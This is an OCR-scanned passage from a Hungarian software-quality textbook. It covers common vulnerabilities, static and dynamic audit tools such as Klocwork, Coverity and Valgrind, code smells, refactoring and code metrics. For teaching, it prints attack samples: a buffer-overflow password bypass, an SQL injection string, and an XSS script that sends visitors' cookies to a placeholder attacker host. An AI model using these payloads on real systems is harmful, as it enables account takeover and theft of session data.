char joJelszo[7] = ,123qgwe”;

printf (,Kerem a jelszot:”);

scanf (,%s”, jelszo);

if (strcmp(jelszo, jojelszo) == 0) {
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//Belépés
} else {

//Sikertelen belépés
}

Ezt a forraskodot megfigyelve, egyszerlien megkeriilhetjiik a biztonsagi jelszokérést.
Amennyiben egy ,,123456*123456*” szoveget irunk be a jelszd kérésekor (Ahol a * a \0
karaktert jeloli) akkor a rendszer maris be fog engedni. Ennek az oka az, hogy a két
karaktertomb foglalds egymas utan tortént, ez nagyon nagy valoszintiséggel azt jelenti, hogy a
két memoriateriilet egymas utdn helyezkedik el, foglalodik le. Amikor a beolvasas
megtorténik, a futtatd nem foglalkozik azzal, hogy a jelszo[] nevii valtozonk csak 7 karakter
tarolasara képes, ezért a teljes adatot bemdsolja a memoridba, a jelszo valtozoban tarolt
kezdécimtdl kezdve. Ez azt jelenti, hogy a joJelszo[] nevii valtozonk teljes egészében feliil
fog irodni az adott szoveggel. Ettdl a ponttdl kezdve, mind a jelszo, mind a joJelszo ugyanazt
a karakterlancot fogja tartalmazni (123456\0), és az Osszehasonlitas igazat fog visszaadni.
Amennyiben tudjuk a jelszo hosszat, gy egyszerii dolgunk van, de ha nem tudjuk, brute
force-szal még akkor is nagyon konnyen képesek vagyunk ezt a jelszot ,,feltorni”.
Természetesen ez a hiba nem szintaktikai, azaz a fordité nem fog szo6lni nekiink ilyen esetben.
Viszont belathato, hogy egy ilyen hiba végzetesnek is bizonyulhat, ezért fontos az ilyen tipusu
hibalehetdségek detektalasa.

Egy masik ilyen az SQL injection sebezhetdség, amely altalaban a bemenet ellendrzésének a
hianyéat, és annak a kihasznalhatdsagat jelenti. Példaul tekintsiik az alabbi kodrészletet:

stmnt="SELECT * FROM users WHERE name = '"+userName+"' AND
jelszo = '""+pass+"';"

Ha a userName ¢és pass valtozonk nem ellendrzott, gy barki konnyen ,,atverheti” a SQL
utasitasunkat mondjuk egy

userName = "valami' OR '1l'='1"';--"

értékadassal, mivel igy az eredmény akkor is igaz lesz, ha a userName nem megfeleld [38].
Ilyen tipust sebezhetéség a Remote File Inclusion, ami tipikusan a PHP nyelvben fordul el6,
amikor egy:

include ($page . '.php'):;

utasitas keriil a kodba, amely konnyen az illetéktelen felhasznalo sajat fajljanak betoltését is
jelentheti.
Szamos ilyen szintii sebezhetdség 1étezik, mi csak a legaltalanosabbakat emlitettiik.

Alacsony kockazatu sebezhetéségek

Ezek a hibaforrasok joval veszélytelenebbek az elézdeknél, ezért altaladban ezekre nem is
forditanak akkora figyelmet.

Ilyen sebezhetdség példaul egy kliens oldalon eléforduld hiba, amely nem terjedhet tovabb a
szerverre. Erre példa a Cross-site scripting (XSS). Tipikusan web alkalmazasokban eléfordulo
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sebezhetdség, amikor is rosszindulati tamadok injektdlnak kliens oldali scripteket a
weboldalba, amit mas latogatok is latnak.

A biztonsagi hibak, az alabbi fobb csoportokba sorolhatok:

Memoria biztonsaggal kapcsolatos sebezhetoségek

e Buffer overflow: A mar korabban targyalt biztonsagi hiba.
e Dangling pointer (,,Log6d pointer”): Ezt a hibat olyan pointereknek tulajdonitjuk,
amelyek nem érvényes objektumra mutatnak. Egy példa erre:

char *dp = NULL;
/* .. */
{
char c;
dp = &c;
} /* a ¢ vadltozd a blokkbdl vald kilépéskor megszinik */
/* A db mar egy ,Lb6gd” pointer */
}

Bemenet ellenérzo hibak
SOL injection: A mar korabban targyalt biztonsagi hiba.

Code injection: Ebben az esetben nem SQL utasitdst moddositunk, vagy szarunk be
illetékteleniil, hanem a forraskodba épitiink sajat kodot. Tegyiik fel, hogy egy weboldalra
készilt egy lizendfal funkcio, amely a megadott szoveget kiirja a weboldalra. Amennyiben a
»Sziasztok! Nagyon jo az oldal!” lizenetet adjuk hozzd az iizenéfalhoz, igy minden hiba
nélkill ez meg is jeleniti. Ha valaki tisztdban van azzal, hogy az adott weboldal ellendrzés
nélkiil szar be elemet az lizendfalra, gy a Code injection-t felhasznéalva, példaul ezt a sort
illesztheti be:

Nagyon szép oldal...<script> document.location =
'http://valamilyen tamado/cookie.cgi?' +
document.cookie</script>

Ebben az esetben, ez a kod felkeriil az lizen6falra, és barki mas, aki innentdl letolti ezt az
oldalt, a helyi gépén lefuttatja ezt a scriptet, amely ettdl a ponttdl kezdve barmit csinalhat.
Ilyen megoldasokon alapulva szdmos mas injection sebezhetdség létezik. Példaul: E-mail
injection, HTML header injection, stb.

Cross-site scripting (XSS): A mar kordbban emlitett biztonsagi hiba.

Format string tamadas: Ezt a hibat 1999 kortil fedezték fel. Ez a tdimadas azt a hibat hasznalja
ki, amikor egy bekért szoveg kiirasra keriil szlirés nélkiil. Példaul C nyelvben a printf(string);
utasitas kiirja a string nevii karakter tomb elemeit. Amennyiben a string valtoz6 tartalmaz
példaul %d, %s vagy barmely specialis, C forditdé szdmara értelmezhetd karakter lancot, Gigy a
kiiras soran hiba keletkezik, és a programunk leall. Altaldban ez magaval vonja azt is, hogy
értékes informaciokat ir ki a stack-rdl.
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Race condition sebezhetéségek

Time-of-check-to-time-of-use: Roviden TOCTTOU (,,TOCK too”-nak ejtve). Ezt a hibat az
okozza, hogy valtoztatast eszkdzolnek a rendszerben egy feltétel ellendrzése (példaul egy
beléptetés) és az eredmény hasznalata kozott.

Symlink races: Ez a hiba egy olyan lehetdséggel €1, amely ideiglenes fajlok hozzaférését teszi
lehetévé. A moddszer 1ényege, hogy szimbolikus linket hozunk 1étre olyan névvel, amilyennel
a rendszeriink is készit ideiglenes fajlokat. Ezt a linket sajat fajlunkra ,,irdnyitjuk”, majd
amikor a rendszer létrehozza az ideiglenes fijlokat, a link miatt az adatok a mi fajlunkba
keriilnek. Miutan tordlte a rendszer az ideiglenes fajlt, ami a mi linkiink, az ideiglenes fajlban
tarolt adatok mar a mi birtokunkba kertiltek.

Ezeken kiviil sok mds sebezhetdség 1étezik, amelyek detektdldsa és javitdsa a kodunk
biztonsagat javitja, sebezhetdségét csokkenti. Mi csak néhany veszélyforrast emlitettiink,
azért, hogy tisztaban legyilink e hibdk kockdzatdval és lehetséges kovetkezményeivel. A
sulyos, biztonsagi sebezhetdségek egy gyljteménye a CVE (Common Vulnerabilities and
Exposures) honlapjan érhetd el: http://cve.mitre.org.

A sebezhetdségi hibak detektalasara sok lehetdség adott az auditalason kiviil is. Egy jo példa
erre a Google megoldasa. A Google ugy vélte, nem csak nala dolgozhatnak jo szakemberek,
ezért lehetdséget nyujt masoknak is. Ezt gy teszi meg, hogy minden egyes magas kockazata
veszélyforras felfedezéséért 1000 dollart ad a becsiiletes megtalalonak. fgy arra 6sztonoz,
hogy a hibékat ne kihasznaljuk, hanem segitsiik a fejlesztok munkajat.

Eszkozok

Ebben a fejezetben néhany statikus auditaldo eszkozt ismertetiink. Az eszkozok kozil
némelyik fejleszt kornyezetbe integralva, mar a programozas fazisdban segit az ilyen hibak
feltarasaban.

SourceAudit

A SourceAudit egy forraskod-elemzé fejleszték részére. A SourceAudit a programozok
szamara fejlesztett termék, mely segiti a kod megértését, fejlesztését és karbantartasat azaltal,
hogy kifinomult statikus forraskod elemzd eljarasokat és technologidkat alkalmaz.

A SourceAudit széles valasztékat biztositja az elemzd funkcidknak a forraskod elemzéséhez,
mely sordn meghatdrozza a fontosabb forraskod metrikdkat, valamint a kovetkezd
kodrészleteket keresi:

e kod duplikaciok,
e gyanus kodrészletek,
e hibdk, kddolasi problémak, rossz gyakorlatok és kodolasi stilusok.

A SourceAudit felfedi a kdédolasi problémaékat, rossz gyakorlatokat és ellentmondasos
programozasi stilusokat a fejlesztési fazis alatt azaltal, hogy un. ,statikus tesztelést” végez,
amely joval koltséghatékonyabb, mint a hagyomanyos tesztelés. A szoftver a kodhibakat a
fejlesztési folyamat sordn fedezi fel, ezért a tesztelésre forditandé id6t drasztikusan
csokkentheti. A SourceAudit hasznalatara mutat példat a 33. 4bra. A bal oldali panel
tartalmazza a metrikdkat, a jobb oldali panel magat a forraskodot, mig az als6 panelon a
szabalysértések jelennek meg.
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33. abra. A SourceAudit Microsoft Visual Studio-ba épiilé része futas kézben

Klocwork

A Klocwork cég programjairdl mar kordbban emlitést tettiink. Ehhez a fejezethet is szorosan
kapcsolodnak a cég statikus elemzd programjai. A Klocwork Insight, egy statikus C, C++,
Java és C# kodelemzd, a Pro valtozata pedig kibdviti par wjdonsaggal, példaul kod
feliilvizsgaloval és refaktoring eszkozokkel (a refaktoringrol a kovetkezd fejezet beszél
részletesen). Létezik egy Solo nevezetli termékiik is, amely egy Eclipse plug-in, miikddés
kozben a 34. dbra mutatja.
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34. abra. Klocwork Solo futas kozben
Coverity

A Coverity egy észak-amerikai szoftvercég, amely szoftverelemzésekre szakosodott. Szamos
eszkozt kinal a szoftver rendszer elemzés minden teriiletére. A szdmunkra jelenleg fontos
eszkoziik a statikus és dinamikus elemzésre is alkalmas Coverity Integrity Manager nevet
viseli (lasd 35. abra). A Coverity Integrity Manager egy egységesitett hibamenedzseld
interfész. Kozponti informacidforras mind a statikus, mind a dinamikus elemzéshez. Ezen
elemzésekhez is rendelkeznek eszkozokkel, amelyek ennek a Coverity Integrity Manager
adatait hasznaljak fel. Ezek a Coverity Static Analysis és a Coverity Dynamic Analysis
neveket viselik.
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35. abra. A Coverity Integrity Manager képernydképe
Sonar

A Sonar egy LGPL licenc ala tartozo6 nyilt forraskodu projekt. Jelenleg a 2.6-o0s verzi6 érhetd
el. Ez egy nyilt platform szoftver rendszerek mindségének a menedzselésére. A kod
mindségének 7 agat fedi le, koztiik a potencialis hibalehetdségeket, komplexitast, kod
duplikaciokat, kodolasi szabalyokat ellendrzi és elemzi. A java nyelv elemzésének lehetdségét
alapbol tartalmazza, de képes elemezni Flex, PHP, PL/SQL, Cobol, Visual Basic 6-os
forraskodokat is. Maga a program web-alapu alkalmazas. A szabalyok, veszélyek, beallitasok,
stb. mind online konfiguralhatok.

FXCop

Az FxCop segitségével C#-ban fejlesztett rendszerek statikus kod auditalasat végezhetjiik el.
A leforditott .NET osztalyokat ellendrzi, hogy azok megfelelnek-e egy bizonyos
szabalykészletnek. Rengeteg altalanos kodolasi hibat képes felismerni, amelyek segitségével
valamelyest optimalizalhatjuk is az alkalmazisunkat. Ez a szabdlykészlet a .NET
keretrendszer egy sajat leirasa (Design Guidelines) amely specialis .NET-es tervezési
mintakat tartalmaz. Az FxCop nem a forraskodot, hanem a binaris allomanyokat elemzi. Mind
parancssoros, mind grafikus feliiletben is elérhetd, tovabba a Microsoft Visual Studio 2005 és
2008 is tartalmaz egy FxCop alapt elemz6t.
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PMD

A PMD egy Java forraskod elemz0, amely a kdvetkezd problémakat detektalja:

Lehetséges bug-ok (iires try, catch, finally, switch utasitasok).

,Dead” kodok (hasznalatlan helyi valtozok, paraméterek, privat metodusok).
Nem optimalis kod (Veszteséges String, StringBuffer hasznalat).
Tualkomplikalt kifejezések (sziikségtelen if,while feltételek).

Duplikalt kod (Copy-paste kodok altal generalt copy-paste bug-ok).

A PMD integralt valtozata elérheté a kovetkezd eszkozokre: JDeveloper, Eclipse, JEdit,
JBuilder, BlueJ, CodeGuide, NetBeans/Sun Java Studio Enterprise/Creator, IntelliJ IDEA,
TextPad, Maven, Ant, Gel, JCreator ¢s Emacs.

CheckStyle

A CheckStyle egy statikus kod elemzd eszkdz Java nyelvii programokhoz. Oliver Burn
készitette az elsé verziojat 2001-ben. A CheckStyle, ahogy a neve is mutatja, a kodolas
stilusat ellendrzi. Minden szabaly kivalthat notification-t, warning-ot, error-t.

Néhany szabaly:

e Javadoc komment megléte osztalyra, attributumra, metddusra.

¢ FElnevezési konvenciok betartasa az attribitumokra és metddusokra.

e Maximalizalt paraméterszam és kodsor szdm betartasanak ellendrzése.

e Sz6kozok meglétének ellendrzése bizonyos karakterek kozott.
FindBugs

A FindBugs egy open source program, amelyet Bill Pugh és David Hovermeyer készitett bug-
ok detektalasara Java kodokban. Statikus elemzést alkalmaz, hogy azonositsa a tobb szaz
potencialis hiba tipusokat a kédunkban. A FindBugs bemente a program bajtkodja és nem a
forraskodja. A program elérhetd onallo grafikus alkalmazéasként €s plug-in-ként is Eclipse,
NetBeans, IntelliJ IDEA és Hudson szdmara. Jelenleg a Java 5-re érhetd el.

A készitok tobb szaz hibafajtat definidltak és ezeket csoportositottak. Ilyen hiba példaul a
,» Véletlenszerli objektum készitése és egyszer hasznélata”, vagy a ,,Clone metdodus nem hivja
meg a super.Clone() metodust”.

Valgrind

A Valgrind egy dinamikus auditdlo, els6sorban memoéria debug, memoriaszivargas-
detektalashoz és teljesitményméréshez (profiling).

Miikddése egy virtualis géphez hasonlo, ami futasidejii forditas (JIT) technikat alkalmaz. A
program elemzése ugy torténik, hogy ezen a virtualis gépen fut a rendszer, kozben a program
hibdkat keres. Ennek a koztes futdsnak az eredménye, hogy a program futasa lassabb lesz.
Tobb hibakeresd modul is be van épitve a Valgrind-be ¢és konnyen kiegészithetd sajat
fejlesztésii modulokkal is. A leggyakrabban hasznilt a Memcheck. A Memcheck extra
utasitasokat szur be 1ényegében minden utasitds koré, amelyekkel koveti a memoriakezelés
helyességét.

A Memcheck altal felismert hibak:

e [Inicializalatlan memoria hasznalata
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e [ras/olvasas korabban mar felszabaditott memoriateriletr6l
e Iras/olvasas az allokalt memorian (kicsivel) kiviilrol
e Memoriaszivargas

A Memcheck eszk6zon feliill a Valgrind még szamos masik eszkozt is tartalmaz:

e Massif, ami egy heap profiler.
e Helgrind, ami képes detektalni versenyhelyzeteket tobbszalu kodban.
e Cachegrind, ami egy cache profiler és a grafikus feliilete a GUI KCacheGrind.
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BAD SMELL DETEKTALAS ES REFACTORING

Bad smell

A bad smell detektaldas bemutatdsdhoz eldszor definialjuk a bad smell fogalmat. A nevét
talaléan onnan kapta, hogy ezek azok a részek a forraskodban, amik kicsit ,,biizlenek”. Olyan
ez, mint amikor kinyitjuk a hiitdt, és hirtelen érziink valami furcsa szagot. Ez nem feltétleniil
jelenti azt, hogy valami romlott, lehet, hogy csak a sajtnak van olyan furcsa szaga,
amilyennek lennie kell. Forrdskod szinten ez azt jelenti, hogy a kdd azon részeit nevezziik bad
smell-nek, amelyek mélyebb problémakat indikéalhatnak, és a hangstly azon van, hogy nem
feltétleniil mindig indikdlnak azt. A kifejezést Kent Beck hasznélta el6szor a *90-es évek
végén, a Refactoring: Improving the Design of Existing Code cimii konyvben [39].

Fontos, hogy tisztdban legyiink azzal, hogy a bad smell, és az el6z0 fejezetben targyalt
vesz€lyforrasok kozott nagy kiilonbség van. A veszélyforrdsok Iehetdséget adnak
tdmadésokra, hibak kihasznéldsara, mig a bad smell ennél sokkal tdgabb értelemben vett
,veszélyforrasra” utal. Egy hosszabb metddus is mar bad smell-nek szamit (mint, ahogy azt
majd a fejezet hatralevd részében targyaljuk), ami még nem jelenti azt, hogy a kod hibas,
vagy tamadhato.

Nem meglepd modon a bad smell detektalas ezen hibaforrdsok keresését jelenti, amikor is a
lehetd legpontosabban megprobaljuk meghatarozni ezeket a kodrészeket a fejleszték szamara,
hogy Ok javithassak, atszervezhessék (refaktoralhassdk) azokat. Természetesen ezen bad
smell-ek detektalasakor sok tényezdt figyelembe kell venni. Ilyen tényezd példaul a forraskod
nyelve, a fejlesztés soran alkalmazott modszer, stb. Minden bad smell-hez tartozik egy un.
baseline, azaz kiiszobérték. A baseline alatti értékek még nem szédmitanak bad smell-nek,
viszont a felette szerepld értékekkel rendelkezd kodelemek mar igen. Ezeket az értékeket a
hasznalt nyelv, az alkalmazott fejlesztd kornyezet tudatdban kell megvalasztani, mivel
kiilonb6z6 helyzetekben eltérhetnek a még elfogadhat6 értékek hatérai.

Egy bad smell példaul az tigynevezett Long Method (hosszi metddus). A hosszu metodus bad
smell akkor keletkezik, ha egy metddus hossza meghalad egy elére definidlt értéket. Ezen
érték meghatarozasakor figyelembe kell venni a kérdéses programozasi nyelvet, mivel
nyelvfiiggd lehet az, hogy egy kodrészletet hany sorban, hany utasitassal lehet megvaldsitani.
Figyelembe kell venni a kodolasi stilust is, mivel kiilonb6z6 fejlesztok kiilonb6zd tagolassal
koédolnak, illetve azt is, hogy a rendszer milyen célt szolgél, milyen a felhasznaldsi kornyezet,
milyen elvarasoknak kell, hogy megfeleljen.

Egyértelmili, hogy ez a veszélyforrds nem nevezhetd komolynak, viszont mégis célszerii
kijavitani(altalaban tobb, kisebb metddusra lehet bontani a hosszii metddust), mivel egy
rovidebb metddust konnyebb atlatni, ami a karbantartds szempontjabol egy fontos érv. Az is
el6fordulhat azonban, hogy a fejleszté tudataban volt, hogy ez a metddus hosszu lesz, viszont
a feladat megoldasa megkdvetelte a kiiszobérték atlépését..

Egy masik bad smell a DC - Data Class (adat osztaly). Ez a bad smell azt jelzi, hogy az
osztaly szinte csak adattagokat, és azok lekérdezd/bedllitd metddusait tartalmazza, amely
szintén nem egy komoly probléma, vagy potencidlis veszélyforras, de mégis célszerlibb lenne
az ilyen adatokat struktiraban tarolni (illetve olyan elemben, amit az adott nyelv megenged).
Szamos bad smell-t definidltak, egy része, a teljesség igénye nélkill, a fiiggelékben
felsorolasra kertil.
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A bad smell detektalashoz szorosan kapcsolodik a kodrészek javitasa, mivel ha talalunk egy
problémads elemet, azt javitani kell, amennyiben a ,,hiba” ténylegesen jelen van. Amikor egy
ilyen elemet javitunk, akkor atszervezést (refactoringot) hajtunk végre a rendszeriinkon.

Refactoring

A refactoring (atszervezés) az a miivelet, amikor a rendszeriink strukturajat Gigy valtoztatjuk
meg, hogy annak funkcionalitdsa nem modosul. A rendszer strukturalis valtoztatdsakor nem
sziikségszerli Oridsi, komplex valtoztatasra gondolni. Egy egyszerli osztadlyatnevezés is a
refactoring része, ugyanugy, ahogy egy metddus atalakitasa, vagy kibontdsa. A refactoring
minden egyes 1épésekor figyelniink kell arra, hogy a kod miikédése konzisztens maradjon az
eredeti rendszerével.

Amennyiben ezt a miveletet kézzel hajtjuk végre, igy a kockéazat is magas, mivel sokkal
konnyebben kertilhetnek bele elirdsok (egy osztily atnevezésekor figyelni kell arra, hogy
minden egyes helyen atirjuk a nevet), vagy hianyozhatnak az atszervezés lépései. Minden
egyes atszervezEés utan a rendszert tesztelni kell(ene), ami nagyon id6- és erdforrds igényes.
Amennyiben ez a miivelet automatikusan torténik, tigy a hiba kockazata sokkal kisebb, ¢és a
tesztelés is sokkal gyorsabban végrehajthato.

Tény, hogy az atszervezés nem valtoztatja meg a szoftver megfigyelhetd viselkedését. A
szoftver tovabbra is ugyanazt a tevékenységet végzi, mint korabban. A felhasznalo, legyen az
akar végfelhasznald, akér egy masik programozo, nem veszi észre, hogy megvaltozott a
rendszer szerkezete.

Ez az észrevétel Kent Beck ,két kalap” metaforajdhoz vezet el minket. Szoftverfejlesztés
soran két kiilonbozo tevékenység kozott osztjuk fel az iddnket: a szolgéltatdsok bdvitése és az
atszervezés kozott. Amikor Uj szolgaltatdsokat adunk a programhoz, nem valtoztatjuk meg a
meglévd kodot, csak 0j részeket adunk hozza. Eldrehaladasunkat tesztek l1étrehozéasaval és
muikodoképesse tételével mérhetjiik. Amikor atszerveziink, akkor szandékosan nem vesziink
fel ) tevékenységeket, csak atépitjiik a kodot. Nem készitiink 0j teszteket (kivéve, ha egy
kordbban kihagyott esetet talalunk), és csak akkor valtoztatunk meg egy tesztet, ha erre
mindenképpen sziikségiink van a feliilet megvaltozasanak kezelése érdekében.

A szoftver fejlesztése soran valoszintileg gyakran kapjuk magunkat ,,kalapcserén”. El6szor
megprobalunk a kodhoz adni egy 0j szolgéltatast, és rajoviink, hogy ez sokkal egyszeriibb
volna, ha mas lenne a kod szerkezete. Tehat kalapot cseréliink, és egy ideig atszerveziink.
Amikor a kddnak méar jobb a szerkezete, kalapot cseréliink, és megirjuk az 0 szolgaltatast.
Amint az mikoddképes lesz, rajoviink, hogy tual bonyolultan kédoltuk, igy ismét kalapot
cseréliink, és atszerveziink. Mindez talan csak tiz percig tart, de fontos, hogy mindvégig
tisztaban legyiink vele, hogy éppen melyik kalapot viseljiik.

Atszervezés nélkiil eldbb-utobb elkeriilhetetleniil romlik a program szerkezete. Ahogy a
programozok megvaltoztatjak a kodot (rovid tava célok megvalositasa érdekében, vagy a kod
szerkezetének teljes atlatasa nélkiil), a kod elvesziti eredeti szerkezetét, és nehezebb lesz
megérteni azt olvasva. Az atszervezés a kod rendbetétele: azért végezziik, hogy eltavolitsunk
olyan darabokat, amelyek nem a megfeleld helyen vannak. A kod szerkezetének
0sszekuszalddasa halmozott hatdsokkal jar: minél nehezebb atlatni a kod szerkezetét, annal
nehezebb modositani a programot és annal gyorsabban romlik. A rendszeres atszervezés segit
formaban tartani a kodot. Egy rosszul tervezett program esetében altaldban tobb kod
szlikséges ugyanazon funkcidé megvaldsitasdhoz, gyakran azért, mert a kod gyakorlatilag szo
szerint ugyanazt végzi tobb kiilonb6z6 helyen. Ezért a felépités javitasanak fontos szempontja
a tobbszor szerepld kodrészek eltavolitasa. Ennek fontossdga a kod jovébeni modositasakor
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jelentkezik. A kod mennyiségének csokkentése nem eredményezi a rendszer gyorsabb futasat,
mindazonaltal nagy valtozast jelent a kodban. Minél t6bb a kdd, annal nehezebb megfelelden
modositani azt, hiszen tobb kodot kell megérteni. Gyakori probléma, hogy megvaltoztatunk
egy kodrészletet az egyik helyen, de nem valtoztatunk meg egy masik részt, amelyik
nagyjabol ugyanazt a feladatot végzi, csak kissé mas kornyezetben. A megkett6zott kddok
kikiiszobolésével azt érjilik el, hogy a kod mindent csak egyszer tartalmaz, és ez a jo felépités
lényege.

Fontos kiilonbség van az atszervezés (refactoring), és Ujratervezés (reengineering) kozott. Mig
a reengineering az absztrakci®é magasabb szintjén 1évé modositds alacsony szintlivé
transzformalésat jelenti, addig a refactoring, alacsony szintbdl alacsony szintet eredményez. A
masik fontos kiilonbség, hogy a reengineering a rendszer valtozasat is jelenti (amibe
beletartozhat a rendszer funkcidinak megvaltoztatasa is), mig a refactoring csak a struktira
valtozasara utal (nem torténik funkcié modositds).A refactoring kiilonleges szerepe, hogy
kiegésziti a tervezést. A felépités eldzetes végiggondolidsa segit elkeriilni a koltséges
atdolgozast. Sokak szerint a tervezés kulcsfontossagu, a programozas viszont mechanikus
tevékenység. Egy hasonlattal élve: a tervezés a mérnoki tervrajz, a kod pedig a kivitelezés. A
szoftver azonban sok mindenben kiilonbozik a gépektdl. Sokkal képlékenyebb, és teljes
egészében a gondolkodasrol szol. Ahogy Alistair Cockburn megfogalmazta:

»lervezéskor nagyon gyorsan tudok gondolkodni, de a gondolkodasom tele van apro
lyukakkal.”

Egyesek szerint az atszervezés lehet az eldzetes tervezés alternativdja. Ebben az esetben
egyaltaldn nem késziil terv. Egyszerien csak kodoljuk az elsé esziinkbe jutd megoldast,
mikodoképessé tessziikk, majd atszervezéssel formaba oOntjiik. Ez a megkozelités
tulajdonképpen miikddhet. Az extrém programozas (Beck, XP) gyakorloit gyakran ezen
megkozelités szoszolodiként jellemzik.

Annak ellenére, hogy az atszervezés onmagaban is miikddik, ez nem a leghatékonyabb
munkamodszer. Még az extrém programozok is végeznek eldzetes tervezést: CRC kartyakkal
vagy hasonld eszkozokkel kiprobalnak kiilonféle otleteket, amig egy elfogadhatd elsé
megoldast nem taldlnak. Csak ennek kidolgozasa utdn kezdenek kddolni, majd azutan
atszervezni. Az atszervezés megvaltoztatja az eldzetes tervezés szerepét. Ha nem végziink
atszervezést, akkor nagyon nagy a jelent6sége az eldzetes terv helyességének. A terv késobbi
megvaltoztatasa koltséges, ezért tobb 1d6t és energiat forditunk az eldzetes tervezésre, hogy
elkertiljiik a valtoztatas sziikségességét.

Az atszervezéssel a hangstly megvaltozik. Még mindig készitiink elézetes tervet, de most
nem probaljuk az igazi megoldast megtaldlni, ehelyett megelégsziink egy elfogadhato
megoldassal. Tudjuk, hogy kdzben egyre jobban atlatjuk a problémat, és rajoviink, hogy a
legjobb megoldas mas, mint amit eredetileg kitalaltunk. Refactoring esetén ez nem gond,
mivel valtoztatasokat eszk6z6Ini mar nem koltséges [40].

Technikak

A rendszer atszervezésére szamos technika létezik. A kovetkezOkben tekintsiink néhany
gyakran hasznalt atszervezési 1€pést.

e Technikdk a magasabb absztrakcio érdekében:
o Mezo6k egységbe zarasa: A biztonsagos kod érdekében az adattagokat el kell
rejtent, €s azokat csak getter, setter metodusokon keresztiil lehessen elérni.
o Altalanos tipusok: A tipusok altalanositiséval a kéd tjrahasznosithat6 lesz.
o Feltételek helyettesitése: A feltételek helyett polimorfizmus alkalmazasa.
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o Tipus ellendrzés helyettesitése: A tipus ellendrzés helyett allapot/stratégia
alkalmazésa (State/Strategy).

e Technikak a kod logikai particionalésara:

o Metddus szétbontdsa: A nagy metoddusokat kisebb részekre bontva sokkal
atlathatobb, érthetébb kodot kapunk, amely megkonnyiti a dolgunkat minden
téren. Ez a technika mindig alkalmazhat6.

o Osztaly szétbontdsa: Egy osztdly két, vagy tobb osztilyra bontdsa, attol
fliggden, hogy mely része milyen funkciot lat el.

e Technikak a nevek és elhelyezkedések javitasara:

o Metddus, mezd mozgatasa: Mindig a hozza legjobban ill6 osztalyba kell, hogy
tartozzon a metodus vagy mezo.

o Metddus, mezd atnevezése: A legmegfelelobb név valasztasa, amely leirja a
mez0 vagy metodus funkcidjat, szerepkorét.

o ,,Pull Up”: Az objektum-orientalt paradigmaban ez azt jelenti, hogy az osztaly
»felhuzasa”, azaz Gsosztallya alakitas.

o ,,Push Down”: Az el6z6h6z hasonldan, csak itt leszarmazott osztallya alakitéast
jelol.

Eszkozok

Szamos eszkoz létezik a szoftverrendszer atszervezésére. A lehetdségek kozott altalaban az
IDE-be beépitett eszkozok nyujtjak a legszélesebb korti tamogatast. Ez kdszonhetd annak,
hogy az IDE-be épitett szolgaltatds mar a fejlesztési szakaszban rendelkezésre all, igy sokkal
gyorsabban és biztonsagosabban vagyunk képesek a szoftver atszervezésére, mig a kiilonallo
eszkozok egyik hatranya, hogy a fejlesztd kornyezettdl eltérd kornyezetben kell elvégezniink
a sziikséges atszervezéseket, majd visszatérni a jol megszokott feliiletiinkhoz. Ez sok esetben
zavar0 lehet. Manapsag a refactoring szerepe akkora, hogy minden IDE rendelkezik egy
minimalis eszkozkészlettel a refactoringhoz, mert felismerték, hogy a fejlesztés ¢&s
karbantartés fazisanak szerves része kell, hogy legyen ez a folyamat. Természetesen mindezek
ellenére 1éteznek hasznos €s igen jo automatikus refactordlod eszkozok, amelyek semmilyen
integraciéval nem rendelkeznek az IDE-k felé. Ezen eszk6zok haszndlatdnak is vannak
elonyei.

Eclipse

Az Eclipse mindazonaltal, hogy egy java fejleszté kornyezet, lehetdséget ad arra, hogy a
projekteken minimalis szintli atszervezést hajtsunk végre. Ezeket beépitett eszkozokkel
(példaul osztily atnevezés, athelyezés ugy, hogy az Osszes hivatkozast frissiti), vagy kiilon
erre a célra fejlesztett plug-in-ekkel tehetjiilk meg.

Az Eclipse beépitett eszkozeit 3 csoportba sorolhatjuk:

e N¢év ¢és fizikai szerkezet valtoztatdsa: Ebbe a csoportba tartozik a mezdk, valtozok,
osztalyok, interfészek atnevezése. Tovabba a csomagok és osztalyok mozgatasa a
projekten beliil.

e Logikai szerkezet valtoztatas: A kod logikai felépitésének valtoztatasa osztaly szinten.
Tobbek kozott a névtelen osztalyok belsé osztalyokkd, vagy belsd osztalyok legfelsd
szintli osztalyokkd alakitdsa, vagy interfész létrehozdsa konkrét osztalybol, vagy
metodusok, adattagok mozgatasa 0s, vagy leszdrmazott osztalyba.
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o Kodvaltoztatds osztalyon belil: Példaul lokalis valtozok konvertdlasa osztaly
adattaggd, vagy egy kijelolt kod metodussa alakitasa. Ide tartozik még a getter, setter
metddusok generalasa is.

IntelliJ IDEA

Ez egy kereskedelmi Java IDE a JetBrains-t6l. A termék megvasarolhatd, de egy 30 napos,
minden funkciot tartalmazd probaverzid elérhetd az oldalukon. A szoftver elsé verzidjat
2001-ben adtak ki, akkoriban ez volt az egyetlen elérheté IDE, ami kéd navigéciot és
refactoring funkciokat tartalmazott.

Hivatalos oldaluk: http://www.jetbrains.com/idea/

A legfrissebb verzidjuk a 9.0, amely mar tartalmaz UML-szer(i osztalydiagramokat, visual
hibernate modelling-et, tovabba tdmogatja a Spring 3.0-at, ezen feliil fliggdségi ¢és adat
folyam analizissel is segit az atszervezésben.

Tamogatott nyelvek: Java, JavaScript, HTML, XHTML, CSS, XML, XSL, ActionScript,
MXML, Python, Ruby, JRuby, Groovy, SQL, PHP, Scala, Clojure. Ez utobbi kett6t kiilon
plug-in-en keresztiil.

Visual Studio

Visual Studio a Microsoft tdbb programozasi nyelvet tartalmazd programozasi
termékcsomagja (IDE), amely az évek soran egyre tobb 1) programnyelvvel béviilt. Jelenleg a
J#, C++, C# és Visual Basic programozasi nyelveket, valamint az XML-t tdmogatja. A
csomag része még a MASM (Microsoft Macro Assembler) is, ami részleges assembly
tamogatast biztosit.

Tobbek kozott tdmogatja a refactoringot is. Az elérhetd funkciok listdja megegyezik az
Eclipse altal timogatottakkal, a kiilonbség abban rejlik, hogy mig az Eclipse egy nyelvet
tdmogat (java), addig a Visual Studio tobb kozismert nyelvet is (C++, C#, J#).
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FUGGELEK

Metrikak
Meéret alapu metrikak:

LOC (Lines Of Code):
Kodsorok szama.

LLOC (Logical Lines Of Code):
Altalanossagban a nem iires, nem komment sorok szamat jelenti. Attol fiiggden, hogy
mely rendszerelem LLOC értékére vagyunk kivancsiak, mas-mas moddon Ilehet
definidlva az érték.

LLOC (metédusra):
A metddusban szerepld nem iires, nem komment sorok szdma (nem szamoljuk bele a
lokéalisan definialt osztalyokat).

LLOC (osztalyra):
Az osztalyban szerepldé nem fiires, nem komment sorok szama (nem szamoljuk bele a
lokalisan definialt osztalyokat).

LLOC (csomagra):
